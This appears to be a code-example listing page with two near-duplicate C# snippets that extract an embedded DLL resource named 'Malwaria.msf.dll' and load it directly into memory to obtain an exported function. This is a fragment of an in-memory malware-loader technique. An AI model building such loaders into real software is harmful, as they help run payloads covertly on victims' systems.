Exemplo n.º 1
0
        public static void Main()
        {
            byte[] exe = ExtractResource("Malwaria.msf.dll");
            //Determine if PE32 or PE32+

            string pe = peType(exe);

            Console.WriteLine("The resource is a {0} file", pe);

            MemoryModule memModule = new MemoryModule(exe);

            DllMain12 msf = (DllMain12)memModule.GetDelegateFromFuncName("DllMain12", typeof(DllMain12));
        }
Exemplo n.º 2
0
        public static void Main()
        {
            byte[] exe = ExtractResource("Malwaria.msf.dll");
            //Determine if PE32 or PE32+

            string pe = peType(exe);
            Console.WriteLine("The resource is a {0} file",pe);

            MemoryModule memModule = new MemoryModule(exe);

            DllMain12 msf = (DllMain12)memModule.GetDelegateFromFuncName("DllMain12", typeof(DllMain12));
        }